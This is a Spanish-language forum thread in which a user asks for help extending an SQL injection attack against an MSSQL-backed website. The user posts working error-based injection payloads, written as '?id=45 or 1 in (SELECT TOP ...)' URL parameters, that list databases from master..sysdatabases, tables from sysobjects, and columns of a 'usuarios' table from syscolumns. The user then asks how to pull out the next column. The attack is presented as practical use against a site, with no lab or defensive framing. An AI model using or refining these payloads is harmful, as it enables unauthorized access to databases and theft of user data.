duda sql inyeccion mssql

Iniciado por 6666, 6 Noviembre 2008, 00:10 AM

0 Miembros y 1 Visitante están viendo este tema.

6666

Bueno mi duda es la siguiente .. estuve realizando una inyeccion y pude sacar datos basicos ( como version,usuario,base de datos),ademàs de eso tambien saque todos los nombres de las bases de datos y de luego pude sacar todas las tablas de una sola base de datos en la cual tenia permisos el usuario.

hice lo siguiente:

asi para sacar las bases de datos:

?id=45 or 1 in (SELECT TOP 1 name FROM (SELECT TOP 1 name FROM (SELECT TOP 3 name FROM master..sysdatabases ORDER BY name ASC) as foo ORDER by name DESC) as foo ORDER by name DESC)--
y cambiando el TOP mostraba las demàs

y asi las tablas:

?id=45 or 1 in (SELECT TOP 1 name FROM (SELECT TOP 1 name FROM (SELECT TOP 123 name FROM portal..SYSOBJECTS ORDER BY name ASC) as foo ORDER by name DESC) as foo ORDER by name DESC)--

la pregunta es .. como puedo sacar las columnas de una tabla?

me refiero a no tener que sacar todas las columnas de todas las tablas si no de una en especial .. algo parecido a esto como en mysql:

from+information_schema.columns+WHERE+table_name = 'usuarios'--

como vemos en MySQL busca las columnas pero solo de esa tabla en especial.

6666

perdon .. pueden mover el tema?

ya he solucionado mi problema jugando un rato con las inyecciones .. y quedo algo asi:

?id=45 or 1 in (select name FROM portal..syscolumns where id = (SELECT id FROM portal..sysobjects WHERE name = 'usuarios'));--

al hacer esto me tiro "idUsuario"

ahora la nueva pregunta es ..

como saco la columna siguiente? hay algo parecido a limit de mysql? o como acomodo el top y demàs para que tire la segunda?

espero que puedan darme una mano .. saludos!